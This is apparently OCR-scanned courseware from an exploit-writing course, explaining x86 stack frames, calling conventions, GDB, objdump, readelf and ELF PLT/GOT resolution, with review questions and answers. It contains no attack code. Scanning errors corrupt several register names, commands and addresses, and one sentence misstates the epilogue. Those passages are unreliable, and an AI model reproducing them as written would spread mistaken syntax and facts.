func_x() | 0x8048207 - RP |
0x8048801: push %ebp | EDI's Contents
IPE) | 0x8048802: mov %esp, %cbp ’ -
0x8048804: sub 0x20, %esp
? main()
.. # func_x code to execute |
0x8048903: mov %ebp, %esp Lo
0x8048905: pop %ebp Stack

] 0x8048906: ret
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Procedure Prologue — Step Two

The IP now points to step two of the procedure prologue at memory address 0x8048802. At that
address is the instruction “mov %esp, %cbp.” This instruction copies the address held in ESP into
EBP. As shown in the stack image on the slide, EBP and ESP now both point to the SFP pushed onto
the stack by the previous instruction. As stated, EBP will point to the SFP throughout the duration of
the function call to func x(). If func_x() were to call another function, that function may have its own
procedure prologue which would adjust the stack pointers accordingly, but is also responsible for
restoring the stack registers to their previous positions when finished. This is what becomes a call

chain. As long as cach function properly keeps track of the caller’s state, unwinding occurs without
1ssue.
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Allocating Memory on the Stack

_ Code Segment
main()

| 0x8048202: mov Y%eax, Y%edi
i 0x8048204: push %edi

| 0x8048205: call func x

! 0x8048207: xor eax, eax

L. # truncated for space...

func_x()
| 0x8048801: push %ebp
0x8048802: mov %esp, Yebp
IPEEp  0x8048804: sub 0x20, %esp
| ... # func x code to execute
| 0x8048903: mov %ebp, Yoesp
| 0x8048905: pop %ebp

| Allocated a 32-byte buffer. |

ESP mmp

EBP mmp

32-byte
Buffer

SFP
0x8048207 - RP

EDI’s Contents

main()

Stack
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Allocating Memory on the Stack

Since the stack grows from high memory towards low memory, we subtract from the stack pointer to
allocate a buffer. The IP currently points to 0x8048804 which holds the instruction “sub 0x20, %esp.”
This instruction says to take the address held in ESP and subtract 32-bytes. ESP now points -32 bytes
from the location of the SFP where EBP is still pointing. We have just allocated a 32-byte buffer and
now ESP points to the top of the current stack frame, as it always should. At this point the procedure
prologue is finished and a buffer for the called function has been allocated. In the middle func_x()’s
block on the slide it says, “... # func_x code to execute.” In this area would be the executable code for
func_x() and it would be cxecuted as expected. When that function has run through all of its code, it is
time to return control to the main() function. We will next describe the procedure prologue that is
responsible for tearing down the stack frame of the called function, restoring the stack pointers to their

previous positions, and returning code execution to the caller.
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Procedure Epilogue — Step One

| Code Segment _
e,
0x8048202: mov %eax, Yoedi
0x8048204: push Y%edi
0x8048205: call func x
0x8048207: xor eax, eax
... # truncated for space...
func_x(
| 0x8048801: push %ebp
0x8048802: mov %esp, Yeebp
0x8048804: sub 0x20, %esp
... # func_x code to execute
0x8048903: mov %ebp, %esp
0x8048905: pop %ebp
x8048906: ret
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Procedure Epilogue — Step One

We have now reached the compiler-inserted code sequence known as the procedure epiloguc. The
procedure epilogue basically reverses the steps made during procedure epilogue. The IP currently
points to the address 0x8048903, which holds the instruction “mov %ebp, %csp.” This is step onc of
the procedure epilogue. The instruction copies the address held in EBP, which still points to the SFP
over to ESP. ESP and EBP now both point to the SFP on the stack. The area on the top of the stack
marked as “Old Data” is simply the remnants of previously used memory. The old data is still there,

but it is no longer needed by the process.
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| Move ESP to point to SFP. |

Old Data

SFP
0x8048207 - RP

EDI’s Contents

EBP/ESP map

main()

Stack

Hacking




Procedure Epilogue — Step Two

[ Ge Segmnoint | | Restore EBP to main’s stack frame. ] N
main()
0x8048202: mov %eax, %edi
0x8048204: push %edi Old Data
0x8048205: call func x
0x8048207: xor eax, eax : ——t 1

... # truncated for space..,

ESP mp|  SFP

1
i
: ; _
func_x() i 0x8048207 - RP
- : o S |
0x8048801: push %ebp i EDI's Contents
0x8048802: mov %esp, %ebp ! AR |
0x8048804: sub 0x20, %esp | maing)
. #func_x code to execute | |, EBP
0x8048903: mov %ebp, %esp —-
1P 0x8048905: pop %ebp _ Stack

§0:8048906: et

Procedure Epilogue — Step Two

The IP has now incremented down to address 0x8048905, which holds the instruction “pop %ebp.”

This is step two of the procedure epilogue. The “pop” instruction takes the value being pointed to by
the stack pointer and places it into the designated register. In this step of the epilogue, we arc taking

the SFP and popping it into the EBP register, restoring EBP to its prior location inside of the main()

function’s stack frame.
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Procedure Epilogue — Step Three

| Code Semmant | Be{um ?ointe_r redirects the "
- instruction pointer to the caller. 4
_ main()
0x8048202: mov %eax, %oedi
0x8048204: push %edi Old Data

0x8048205: call fune x
~--—10x8048207 ]xor eax, eax

ol g i OldSFP
func_x() ESP B | 058048207 - RP
0x8048801: push Y%ebp EDI’s Contents

0x8048802: mov %esp, %ebp ST

0x8048804: sub 0x20. Y%esp

... # func_x code to execute

0x8048903: mov %ebp, %esp RaE - :

0x8048905: pop %ebp
0x8048906: ret

AN AL IUCL i

main()

Stack

Procedure Epilogue — Step Three

We are now at step three of the procedure epilogue. The IP points to address 0x8048906, which holds
the instruction “ret.” The “ret” instruction stands for “return™ and is a special instruction that takes the
value currently being pointed to by the stack pointer, 0x8048207 in this case, and redirccts the
instruction pointer to that address. This is a critical operation to ensure that the caller gets back control.
If the return pointer is intentionally or unintentionally overwritten, results could be catastrophic to the
process.

Steps two and three of the procedure cpilogue may also be disassembled as the instruction “leave.”
This instruction would perform the same operation as “pop %ebp™ and “ret.”
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Return to Caller

; , Control has returned to the caller
. Code Segment | and the stack registers restored. but
main() ESP seems to be pointing toan old | |
| 0x8048202: mov Y%eax, %edi | LArEUment-- |
| 0x8048204: push %edi Old Data
[ 0x8048205: call func x
IP- | 0x8048207: xor eax, eax ; —
L ... # truncated for space... ::1)9(:: :[eoh“" ! Old SFP
func_x() point here? | Old RP
f0x804880l:pu5h %ebp ESP - EDI’s Contents
| 0x8048802: mov %esp, %ebp
| 0x8048804: sub 0x20, %esp ;
! main()
| ... # func_x code to execute EBP -
| 0x8048903: mov %ebp, %esp
i 0x8048905: pop %ebp Stack

0x8048906: ret 4 227

AAVITICEd Foncaanon resung, tapioir Writing, and rhical Hacking

Return to Caller

On this slide we can see that the IP points back into the main() function to the address 0x8048207,
which is immediately after the call to func_x(). The stack registers, ESP and EBP, arc pointing to their
previous positions inside of the main() function’s stack frame. We have now walked through the
process of a function call and how stack operation works.

Note that ESP is pointing to the position on the stack marked as “EDI’s Contents.” If you remember, at
memory address 0x8048204 is where we pushed that value onto the stack. It may have been an
argument that was being passed to func x(). If that is the case, we probably don’t want ESP pointing
to it any longer. ESP would nced to be adjusted appropriately by code. One solution could be to use
the instruction “ret 4” instead of just “ret” in step three of the procedure epilogue. That would adjust
the stack pointer 4-bytes further than it normally would, marking the “EDI’s Contents” variable as
dcad. This operation could also be handled by the calling function after control is returned by the
called function. A simple instruction such as “add 4, %esp™ would accomplish the same goal. What
determines this behavior? Sce the next slide on calling conventions.
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Calling Conventions

e Defines how functions receive & return data
— Parameters are placed in registers or on the stack
— Defines the order of how this data is placed

— Includes adjusting the stack pointer during or after the
function epilog to advance over arguments

e Most common calling conventions:

— cdecl — Caller places parameters to called function from
right to left and the caller tears down the stack

— stdcall — Parameters placed by caller from right to left,
and the called function responsible for tearing down the
stack

Calling Conventions

It is important to understand how paramecters are passed to called functions and how functions rcturn
data. This is determined by the calling convention used by a program. There are several calling
conventions, and we will discuss the two most common for x86. The cdecl calling convention is
common amongst C programs. It defines the order in which arguments or parameters arc passed to a
called function as being from right-to-left on the stack. With cdecl, the calling function is responsible
for tearing down the stack. The EAX register is used to return values to the caller, as we have scen
throughout the course. Procedure epilogue data is automatically added to the program during compile
time to handle the tearing down of the stack. The stdcall calling convention is similar to that of cdecl;
however, the called function is responsible for tearing down the stack once the function is completed.
EAX is again used to return valucs from the called function, back to the caller. Other calling
conventions such as syscall, optlink, and fastcall are also scen.
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Tool: GNU Debugger (GDB) (1)

Software Debugger for UNIX
Author: Richard Stallman
Debugs the C, C++ and Fortran
programming languages
Freeware!

Attach to a process, open a process,
registers, patching ...
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GNU Debugger

The GNU Debugger (GDB) is a free software debugger that runs on various UNIX operating systems.
MinGW is a tool that has brought some of the GDB functionality over to Windows and is available at
http://www.mingw.org. GDB was originally created by Richard Stallman and has since had a large
number of contributors. GDB supports the debugging of programs written in C, C++, Fortran and has
some support for PASCAL, Modula-2 and Ada. GDB is distributed as freeware under the GNU Public
License!

With GDB you have the option to attach to an alrcady running process/program, or you may usc GDB
to open up a program. This provides you with the ability to monitor and interact with the execution of
a program. Y ou have many options when working with a program under GDB, such as allowing a
program to run as normal, pause execution based on a defined condition, patch the program during
execution, and cven step through program execution one instruction at a time. You can also
disassemble a program and display its pneumonic instructions, view processor registers, trace function
calls, and many other features.

We will walk through some of the more useful commands with GDB.
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Tool: GNU Debugger (2)

 Useful Commands
- disass <function> - Dumps the assembly instructions of the function
° e.g. disass main
break <function> - Pauses execution when the function given is
reached
* e.g. break main
— print — Prints out the contents of a register and other variables
o e.g. print Seip
— x/<number>i <mem address> - Examines memory locations
o e.g X200 Ox7e87534d
— info — Prints the contents and state of registers and other variables
* e.g. info registers
— ¢ or continue — Continues execution after a breakpoint
— si— Step one instruction
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GDB Useful Commands

There are a large number of commands for GDB. To navigate through them you can typc “help” while
running GDB. You can also view the manual page for GDB by typing “man gdb” at command linc while
not alrcady running GDB.

Command: disass <function> or <memory address>

The disassemble command allows you to view the pneumonic instructions which make up a particular
function or area of memory. You can specify a function name such as, “disass main” or a memory
address such as “disass 0x7¢8751b3” to display the instructions making up the function. It is a good idca
to writc a simple program, such as the standard “Hello World” program, to scc how basic disassembly
looks in the debugger.

Command: break <function>

You can usc the break command a couple of different ways. The most common usage of the command is
to simply tell GDB to break and pausc cxccution when a certain function or memory address is reached.
For example, you can type “break main™ and as soon as the main() function is reached, GDB will pause
exccution. You can also usc a conditional break. For example you can tell GDB to only break if a counter
in a loop reaches a certain number, or if the value of a subroutine is a one or a zero. This feature gives
you a lot of power when debugging or testing a program. When breaking on a memory address an
asterisk is nccessary to tell GDB that the memory address should not be interpreted as a function name.
c.g. *0x8048430

Command: print

The print command is most uscful for allowing you to print the valuc of an expression. For example, the
command “print $eip” will show you the value currently held in the EIP register.
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Command: x

The “x” command allows you to examine memory. For example, the command “x/20i 0x7¢87534d”
will print twenty assembly instructions starting at the listed address. Common switches include x/x to
examine DWORD’s in hex, x/s to examine ASCII strings, and x/i to examine instructions held at a
desired location. The optional value placed after the slash allows you to specify the number or
DWORD'’s, strings, or instructions viewed at onc time.

Command: info

The “info” command allows you to get information on many aspects of the program. The command
“info registers” will display the contents of the processor registers. The command “info symbol
<memory address>"" will display the name of the symbol held at that address. The command “info
function” will display all of the defined functions and their memory addresses. Functions that arc
called through the use of pointers may not show up with this command, and other binarics may have
been stripped, limiting the amount of information availablc without reverse engincering or having
access to debugging symbols.

Command: c or continue

The “c” or “continuc” command ontinues exccution after a breakpoint is hit.

Command: si

The “si” command stands for “step instruction” and works cxactly how it sounds. If you arc at a
breakpoint, you can issue the command to move a single instruction. You can also specify an
argument “N” to step a specificd number of instructions. e.g. “si 6”
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Tool: GNU Debugger (3)

e More Useful Commands
— backtrace or bt — Prints the return pointers back to the callers as part
of the current call chain
e e.g. bt
— info function — Prints out all functions
= e.g. info func
* This command will not print out stripped functions, only those
located in the procedure linkage table
— set disassembly-flavor <intel or att> - Changes the assembly syntax
used
* e.g. set disassembly-flavor att
- info breakpoints & delete breakpoints — Lists and deletes breakpoints
* e.g. del breakpoint 3
run — Runs or restarts the program
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Tool: GNU Debugger (3)

Command: backtracc or bt

The backtrace command prints out all return pointers as part of the current call chain. This mcans that
if function 1 calls function 2, and then function 2 calls function 3, the backtrace command would print
out the return pointers back to function 2 and then the return pointer back to function 1.

Command: info function

This command will list all functions used within the program, both dynamically resolved and internal,
if the program has not been stripped.

Command: sct disassembly-flavor <intel or att>

This command will change the disassembly syntax to cither intel or att.

Command: info breakpoints & delete breakpoints

The “info breakpoints” command will list all breakpoints currently set, and the “dclete breakpoints™
command allows you to delcte one or more breakpoints.

Command: run

Runs or restarts the program.
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x86 Assembly Language

o Low-level programming language

— Mnemonic instructions are used to represent machine
code

e Optimized for processor manipulation
¢ Ideal for:

— Device drivers

— Video games requiring hardware access

— Allows faster access to hardware
¢ No abstraction with a high-level language

— Where speed is critical
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Low-level programming language

Assembly language sits somewhere between high-level languages such as Ct++, Java, C#, ctc., and
machine code. It is a low-level programming language specific to a class of processors such as the
x86 suite. Assembly code uses short mnemonic instructions/opcodes specific to the processor
architecture.

Allows faster access to hardware

With assembly language you have more power to quickly access hardware as opposcd to performing
various levels of interpretation through the use of a higher level language. As one could assume, this
speeds up hardware access since you are reducing the number of assembly instructions necessary to
complete a task. An example is the ability to write more efficiently to an Input/Output (1/O) port.

Basically, wherever speed is of great concern, an entire program or part of a program can be written
in assembly to speed things up. Device drivers and video game programming are common areas to
sce assembly being used. Assembly programming can often be machine/OS specific which can limit
thc amount of portability between OSs such as that with driver programming. Take for cxample a
wireless card and its requirement to work with a specific version of Linux. The driver may not be
portable between architectures and machine-type; however, the benefit is speed and the ability to
perform operations not casily achieved through higher-level languages.
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AT&T vs. Intel Syntax (1)

o AT&T e Intel
sub $0x48, %esp sub esp, 0x48

mov %esp,%ebp mov ebp, esp
src dest dest src

e $ = Immediate Operand
e % = Indirect Operand e [] = Pointer
e () = Pointer

ical Hacki 1

AT&T vs. Intel Syntax (1)

On many *NIX debuggers, AT&T is the x86 syntax used by default, while Windows debuggers often
default to Intel syntax, such as WinDbg and Immunity Debugger. With AT&T syntax, the % sign gocs
in front of all opcrands, where the value to be used is held in a register such as %esp or %edi. This also
applies if the destination is a register. A lowercase “1” stands for long. The $ sign implics an immediate
operand, as opposed to a value or address stored in a register. For example, $4 is an immediate
operand that would be displayed in the assembly code. This could be used in an instruction such as
“mov $4,%cax” which would move the value 4 into the EAX register. In AT&T syntax, the source is
first and the destination is second. For example, the instruction “mov %edx, %cax” could be read as
“move this, into that,”

With the Intel syntax, the source and destination operands are reversed where the first operand is the
destination and the sccond operand is the source. e.g. “move into this, that.” You will also notice that
Intel variant does not usc the $, % and lowercasc “1” signs. Instcad, you may see instructions
containing mnemonics such as “DWORD” and “QWORD.”
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AT&T vs. Intel Syntax (2)

e Size of Operands
— AT&T uses the last character in the name of the
instruction such as b for byte, w for word, or |
for long
o movl $0x8028024,(%esp)
— Intel uses “byte ptr”, “word ptr”, or “dword ptr”
e mov DWORD PTR [esp],0x8028024
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AT&T vs. Intel Syntax (2)

Size of Operands

AT&T uses the last character in the name of the instruction, such as b for (byte), w for (word) and 1 for
(long) to limit the length of the values being moved or calculated. A byte is cqual to 8 bits; a word is
cqual to 16 bits; and a long value is equal to 32 bits, also known as a double-word (DWORD). For
cxample, the instruction, “movl $0x8028024,(%esp)”” moves the long (32-bit) memory address
8028024h into the address pointed by the ESP register. The parenthesis tells us that it is a pointer and
not to copy the address into the ESP register, but to the address held in ESP.

Intel syntax uses different mnemonics to perform the same instruction. The same instruction from the
AT&T example in Intel format would be, “mov DWORD PTR [csp],0x8028024.” This says to move
the double-word address 8028024h into the memory address the ESP register is pointing to, just like
the AT&T instruction. Instcad of using b, w, and 1 to statc the length of the values being moved or
calculated, Intel syntax uscs BYTE, WORD, DWORD, and QWORD.
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Linkers & Loaders

Linkers vs. Loaders

— Linkers link a function name to its actual location

— Loaders load a program from storage to memory
Symbol Resolution

- Resolving the function's address during runtime
Relocation

— Address conflicts may require relocation

Name Mangling (Not to be confused with overloading)

- i.e. The function “"main” becomes ™ main” or
“Z__main__"

[ ]
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Linkers & Loaders

Linkers have the primary responsibility of symbol resolution. That is, taking the symbolic name of a
function and linking it to its actual location. For example, if we call the function printf() from within a
program, the linker is responsible for locating the memory address of that function from a system library
and then populating a writable area in memory inside the process. Loaders arc responsible for loading a
program from disk or any sccondary storage into memory.

Relocation

If a sharcd object requests to be loaded to an arca of memory that is alrcady being used, there must be a
control in place to allow the object to be loaded into a different arca of memory. Commonly known as the
reloc section, relocation provides exactly that ability. On modern systems there is often a desired load
address a program would like to use. If the load address is unavailable, the relocation section will patch
the program to the new addressing. Items such as functions are referenced by Relative Virtual Addresses
(RVA)’s and are not an issue. Thus if the RVA for the function math calc() is 0x500, this RVA will be
added to whatever load address is used. So if the load address of the program is at 0x800000 and the
RVA of the math_calc() function is 0x500, the true location would be 0x800500. If the load address
0x800000 is unavailable, a new load address such as 0x400000 will need to be sclected and the calls
patched by working with the rclocation section. Now the address of the function math_cale() will be
0x400500.

On Windows systems, the process of relocation is called fix-ups. Fix-ups are almost never needed on
modern Windows systems, as each program is given its own address space. Modern Linux systems also
rarcly have the need to relocate an ELF file. Shared libraries will sometimes need relocation, but desired
addressing is almost always available. Noncthcless, the support for relocation must be within the object
file in the cvent it is needed.
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Name Mangling

The name of a function or other procedure/construct in a program's source code will often not be the
same name seen in symbol tables and the like. For example, the function named “main” within C source
code may be mangled to the name “_main” when converted to an object file. This process scrves a
couple of different purposcs. One is to provide uniqueness within a program to avoid name collisions.
You could imagine what conscquences might occur if a call is made to a name shared by two functions.
Some languages do not support polymorphism such as C, and so mangling is not needed; however,
therc arc other rcasons for mangling symbols.

Calling conventions used by various programming languages and supported by operating systems can
differ. Name mangling can provide a way in which the operating system handles the program. For
example, one mangling method may add two underscores “ ™ before a name while another may place
* Z” in the front of all functions. So the function “main” could become “  main™ or “ Zmain”,
depending on what tool compiled the program. The type of mangling used can then, for example,
identify to the system in what order to expect parameters passed to a subroutine.
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ELF (1)

e Executable and Linking Format

- Executable & Relocatable Files
e Can be mapped directly into memory at runtime

e Allows for relative addressing to remain while changing the load
address

— Shared Objects

e Used primarily to house shared functions

— a.out format outdated with limited support for
dynamic linking
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Executable and Linking Format (ELF)

ELF is an object file format used by many UNIX OSs to support dynamic linking, symbol resolution
and many other functions. Object files contain various elements, including the machine code of the
executable program, symbols that need to be imported, as well as functions that can be exported,
debugging information, relocation information and a header file. In order for a file to be linkable, it
must contain a number of these elements. An ELF file contains a sct of scctions used by the linker.

Duc to the lack of support for dynamic linking and support issucs with C++, the a.out object file
format is scen less often on modern *NIX-based operating systems. a.out stands for Assembler Output
and is an outdated file format for exccutable and shared libraries. Some compilers still default to this
nomenclaturc when an output file is not stated.

Relocatable ELF Files

Relocatable ELF files contain multiple scetions. such as object code, data, symbols having or needing
resolution, a magic number and various other scctions. These sections are contained within the ELF
header file. A relocatable file allows for the relative address of a mapped section or symbol to be
maintained, whilc modifying the base address in the cvent there may be a conflict. For example, if the
rclative address of a function called get_fork() is 0x4000 and it was expecting to be mapped to the
basc address 0x08000000 the absolute address in that instance would be 0x08004000. However, if the
file is in rclocatable format, the base address could be relocated to a new basc address, such as
0x08040000 resulting in the absolute address of 0x08044000.
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Executable ELF Files

Executable ELF files are relatively close to the format of relocatable ELF files. The primary
difference is the ability for an cxccutable ELF file to be mapped directly into memory upon
execution. Executable ELF files have been optimized by including only the necessary scctions,
including read-only code, data, BSS, virtual addressing information and some other relevant
information.

Shared Objects

An ELF Shared Object file contains the elements of both relocatable files and executable files. It
contains the program header file contained in an ELF cxccutable file, loadable sections, and the
additional linking information contained in relocatable files. A shared object is simply a library of
functions available to developers. A dynamically compiled program relics on system libraries
contained on a target system. These libraries are loaded into a program during startup and function
names resolved as required.
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ELF (2)

e Procedure Linkage Table (PLT)

— Read-only Table produced at compile-time which
holds all necessary symbols needing resolution

— Resolution performed when a request is made
for the function (lazy linking)

e Global Offset Table (GOT)

— Writable memory segment to store pointers

— Updated by the dynamic Linker during symbol
resolution
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Procedure Linkage Table (PLT)

The Procedure Linkage Table (PLT) is a read-only scction primarily responsible for calling the
dynamic linker during and after program runtime in order to resolve the addresscs of requested
functions. This is not handled during compile time, as the shared libraries are unavailable and the
addresses unknown. The PLT is a much larger table than the GOT; however, resolution is not
performed until the first time a call to the requested function is made, saving resources. Each
program has its own PLT that is useful only to itsclf. When symbol resolution is requested, the
request is made to the PLT by the calling function, and the address of the GOT is pushed into a
processor register. From a high-level:

1) The program makes a call to a function residing within a shared library and requires
the absolute memory address. For example, printf().

2) The calling program must push the address of the GOT into a register as relocatable
sections may only contain Relative Virtual Addresses (RVA) and not the needed
base 32-bit address.

3) From step one, the request is made to the PLT, which in turn passes control to the
GOT entry for the requested symbol. If this is the first time the request for the
particular function is made, go to the next step. If not, jump to step 5.

4) Since this is the first request for the function, control is passed by the GOT back to
the PLT. This is done by first pushing the address of the relative entry within the
rclocation table, which is used by the dynamic linker for symbol resolution. The PLT
then calls the dynamic linker to resolve the symbol. Upon successful resolution, the
address of the requested function is placed into the GOT entry.
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5) If the GOT holds the address of the requested function, control can be passed
immediately without the involvement of the dynamic linker.

Global Offset Table (GOT)

During program runtime, the dynamic linker populates a table known as the Global Offsct
Table (GOT). The dynamic linker obtains the absolute addresses of requested functions and
updates the GOT as requested. Files do not need to be relocatable, as the GOT takes
requests for locations from the Procedure Linkage Table (PLT). Many functions will not be
resolved at runtime and resolved only on the first call to ¢h requested function. This is a
process known as lazy linking and saves on resources.
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Tool: objdump (1)

Displays Object File Information
Author: Eddie C.
Freeware under GNU Public License

Performs Disassembly

— GDB also disassembles, but with objdump you
don't have to execute the program

— Prints out a “deadlisting”

Displays file headers, symbol information
and more
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Tool: objdump (1)

The tool objdump displays information about or within an object file. You can specify options to
output only the desired results or get a more comprehensive listing. The tool was created by Eddie C.,
for whom not much information is publicly available. The tool is freeware under the GNU Public
License. It is simply amazing that there are such great contributors to free software! Objdump is best
known for its ability to disassemblc objcct files and provide header, section, and symbol detail in a
clear and concise listing. Objdump can be used as opposed to GDB when you are looking to perform
analysis on a binary without executing the program through a debugger such as GDB. This
disassembly is often referred to as a “deadlisting” as the code is not running in a live state, such as that
in a debugger.

We will take a look at some of the more common objdump commands on the next slide.
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Tool: objdump (2)

o Useful Commands

- objdump -d
e Disassembles an object file

- objdump -h
e Displays section headers

—objdump -j <section name>
e Allows you to specify a section
o e.g. objdump —j .text —d ./<prog_name>

Advanced Penetration Testing, Lxploit Writing, and Lthical Hacking

objdump (2)
Command: objdump —d

This command will disassemble and display all functions used within the program. You can use the “-
D” switch to get a more comprehensive listing.

Command: objdump —h

This command displays all of the scction hcaders, their virtual memory address and sizing information.

Command: objdump —j

This command allows you to display only the contents within a specific section of the program. For
example, “objdump —j .text —d ./<prog name>"" will show a disassembly of the code segment.
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Tool: readelf

e Tool to display ELF object file information
e Authors: Eric Youngdale and Nick Clifton
e Freeware under GNU Public License

e Displays information on ELF headers and
sections; i.e. GOT, PLT, Location Information

Writing, and Ethical Hacking

readelf

The rcadclf tool displays object file information similar to that of objdump. The tools often come down
to a matter of preference and comfort; however, each tool secems to do certain things a little better than
the others. The readelf tool was created by Eric Youngdale and Nick Clifton. It is also a freeware tool
under the GNU Public License! We will use the readelf tool to take a look into symbol tables within
the Global Offset Table (GOT) and Procedure Linkage Table (PLT). Using the —x switch, you can
specify a section to display. For example, we will usc the —x switch to take a look into the GOT
section.

49



ELF Demonstration (1)

e Let us track the behavior of symbol
resolution!

— If you wish to follow along:

e Fire up a command shell from your Kubuntu Gutsy VMware
image

o Change to the /home/deadlist directory

e Check to make sure the program “memtest” is in the directory
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ELF Demonstration (1)

Let us run through an exercise to make this process really sink in. Following the steps taken to resolve
a symbol at runtime is the best way to understand what arcas arc writable, where addresses are stored,
and to get some more experience with GDB and assembly. Performing security research requires you

to know the path of execution a program takes, and the linking process is no exception.

First, fire up a command shell from your Kubuntu image and make sure you're in the “/home/dcadlist™
directory. The program “memtest” should already exist. On the next few slides we will follow some of
the behavior shown by the linking process.
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ELF Demonstration (2)

e In GDB enter "disas main” and locate the
following and exit GDB:

{gdb) x/i Ox080484a4 =y
x80484a4 <main+83>: fcall  0xBG4B374 <putseplts
(gdb) i ;

e From command line enter and locate:
$ objdump -d -j .text memtest

|grep puts

root@deadlist -desktop:/home/deadlist# objdump -d -] .text memtest |grep puts
80484a4: eB cb fe ff ff call [B048374 <puts@plt>
root@deadlist -desktop:/home/deadlist# ||
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ELF Demonstration (2)

From the /home/deadlist directory, type in “gdb memtest”. Next, type in “disas main™ and find the call
to the puts() function. The puts() function simply places a string to standard output (stdout) similar to
printf{(), but docs not support format strings. After entering in the command, you should see an
instruction similar to the one on the slide. The instruction shown is simply a call from main() to the
puts() function, but where is it taking us?

Copy down the memory address to continue with the exercise. In the case of our slide, the memory
address is 0x8048374. We could also enter the following command into the tool objdump to find the
same information:

objdump —d —j .text memtest |grep puts

This command gives us the results shown on the second image. Mind you we must first know the
functions that are called from a shared library to have the appropriate names to grep. We could obtain

this information by taking a look at the dynamic relocation entries for the program. Enter the
command:

objdump —R memtest
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ELF Demonstration (3)

e To find the following, enter the command:
$ objdump -R memtest

root@deadlist -desktop:/home/deadlist# objdump -R memtest
Inemtest : file format elf32-1386

DYNAMIC RELOCATION RECORDS
OFFSET  TYPE VALUE
080497cc R 386 GLOB DAY __gmon_start
080487dc R 386 JUMP SLOT  getpid
080497e0 R_386_JUMP_SLOT _ gmon_start
(0806497e4 R 386 _JUMP_SLOT _ libc_start_main
G80497e8 R 386 JUMP SLOT  scanf
080497ec R 386 JUMP SLOT printf

put

ELF Demonstration (3)

objdump —R memtest

This command gives us the results shown on the slide image. What is listed is actually the global offset
tablc entrics for each function. Why is the address we have been secing, 0x8048374 no longer shown?
We now have the address on the left side showing 0x080497f0 for the puts() function. Let us figure
out what is happening on the next slide.
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ELF Demonstration (4)

e Using the tool of your choice, locate the
following and determine its meaning:

B8048374 <puts@plt>:
8648374: ff 25 0 97 84 08 (Jmp__ *ox8049770
864837a: 68 28 066 00 88 push  §Bx28
BBAB37T: ed 98 ff ff ff jmp BO4BI14 < init+0x30>

e From command line enter *$ readelf -x
22 memtest” to find the following:

root@deadl ist -desktop:/home/deadlist# readelf -x 27 memtest

Hex dump of section '.got.plt':
BxBG80497d0 fcO956408 BOGEGOGE DOCOGGHE 2a830468 ,........,... g
Bx080497e0 3a830408 42830408 5a830408 6aB30408 :...)...2...]...
[BxXGEB4T7TE 72830408 o
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ELF Demonstration (4)

[f we go back into the code segment to take a look at the original address found in the puts() function
call, 0x8048374, we find the results shown in the top image on the slide. We now sce that by going to
the address shown in the call to puts() from main, it redirects us to the puts() entry in the Procedure
Linkage Table (PLT). Inside the PLT entry is a jump to a pointer at the address 0x80497f0. We must
now continue our path to resolution. 0x80497f0 exists within the Global Offset Table (GOT). This is
the same address shown when running the “objdump —R” command.

Enter the command:

rcadelf —x 22 memtest

This gives us the addresses residing within the .got.plt section, or simply the Global Offsct Table
section. If you want to view all sections, simply enter in “rcadelf —t memtest.” As seen in the sccond
image of this slide, the address 0x080497f0 is displayed, but we do not sce any reference to the
address of where on the system the puts() function resides. To get this, the program would need to be
run and the call to the puts() function executed to complete resolution.
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ELF Demonstration (5)

o In GDB, enter "x/12x 0x80497d0" to get
the following:

{gdb} x/12x 0v8R4G74R
x8049700 < GLOBAL_OFFSET_TABLE >:
180497 < GLOBAL_FFSET_TABLE +16>:

§ < GLOBAL _OFFSET_TABLE +30>:

Gxb7 12808
Gxb7ed3918
Gx08249614

e Look up the newly populated address in the
GOT with "x/4x 0xb7ee7920"

(gdb) x/4x Oxb7ee7920
xb/ee/920 <puts>: (x83e58955 Gx5d891cec (x68458bf4 Oxfbb55fe8
(gb) |
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ELF Demeonstration (5)

Let us bring out our good friend GDB to help us out! Start up the memtest program with GDB by
entering the command “gdb memtest”. Run the program by typing the word “run” into GDB. The
program will ask you to enter a number. Choosc any number and press enter. At this point the program
is held open with a while loop. Press Control-C to break the program. If you go back to the readelf
program, you will find that the start of section 22, the Global Offset Table, begins at the address
0x080497d0. Go ahead and enter the following into GDB:

x/12x 0x80497d0  #This prints out 12 DWORDs of data in hexadecimal starting from the address
supplied.

The results arc shown above. Inside the red rectangle on the left is the address we received from the
PLT with the JMP instruction. Before we ran the program, there was no entry at this address; rather, it
was a pointer back into the PLT which calls the dynamic linker. Now that the program is running and
the function call to puts() executed, the symbol has been resolved and we have the address
0xb7ee7920 shown. This should be the actual address of the puts() function.

If we enter in the command, “x/4x 0xb7e¢e7920” we discover that this is indced the address of the
puts() function. The results are shown on the lower slide image. At this point, the symbol has been
fully resolved. Remember that this was not the casc at first. The symbol existing in the GOT is not
resolved until the first time it is requested. At that point, the dynamic linker resolves the symbol and
writes the address into the GOT. From this point forward while this program is running, any rcquests
to the same function will have the address of the function without involving the dynamic linker. The
PLT entry will point into the GOT entry holding the address of the function.
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Module Summary

» Understanding processor registers is key
e Memory management is complex

e Understanding x86 assembly code is a
commitment. Dive in!

e Linkers and Loaders require special attention
e We have covered the basics to move forward

it Writing, and Ethical Hacking

Module Summary

[n this module we covered some important aspects of memory and processor behavior that allow us to
move forward into more advanced concepts. Processor registers were designed with specific functions
in mind; however, that power is given to the programmer and how they decide to use them. Memory
management is complex, which will become more apparent as we move forward. We will be analyzing
assembly often during the remainder of this course, and diving in is the best way to learn.
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Review Questions

1) Which 32-bit processor register is responsible
for counting?

2) Is the following assembly instruction in Intel or
AT&T format: PUSH DWORD PTR SS:[EBP+8]

3) The PLT entry for a function holds a JMP to
the relative entry in the GOT. True or False?

4) What construct stores the state of processor
registers for a given process?

Review Questions

1) Which 32-bit processor register is responsible for counting?

2) Is the following assembly instruction in Intel or AT&T format: PUSH DWORD PTR SS:[EBP+8]
3) The PLT entry for a function holds a JIMP to the relative entry in the GOT. True or False?

4) What construct stores the state of processor registers for a given process?
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Answers

1) ECX
2) Intel
3) True

4) Process Control Block (PCB), Paging and
Virtual Memory
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Answers
1) ECX —The ECX register is commonly used to perform count opcrations.

2) Intel — The instruction “PUSH DWORD PTR SS:[EBP+8]” is in Intel format and is from a
Windows system.

3) True — The Procedure Linkage Table (PLT) and Global Offset Table (GOT) are uscd to resolve
symbols during and after program runtime. The PLT holds a jump to a functions entry in the GOT.

4) The Process Control Block (PCB) stores the state of registers while the processor performs context
switching.
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e Debugging with GDB (Richard M. Stallman
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Recommended Reading

Debugging with GDB (Richard M. Stallman and Cygnus Solutions, February 1999)

Linkers & Loaders (John R. Levine, 2000)

Assembly Language for Intel-Based Computers , 5" Edition (Kip R. Irvine, 2007)

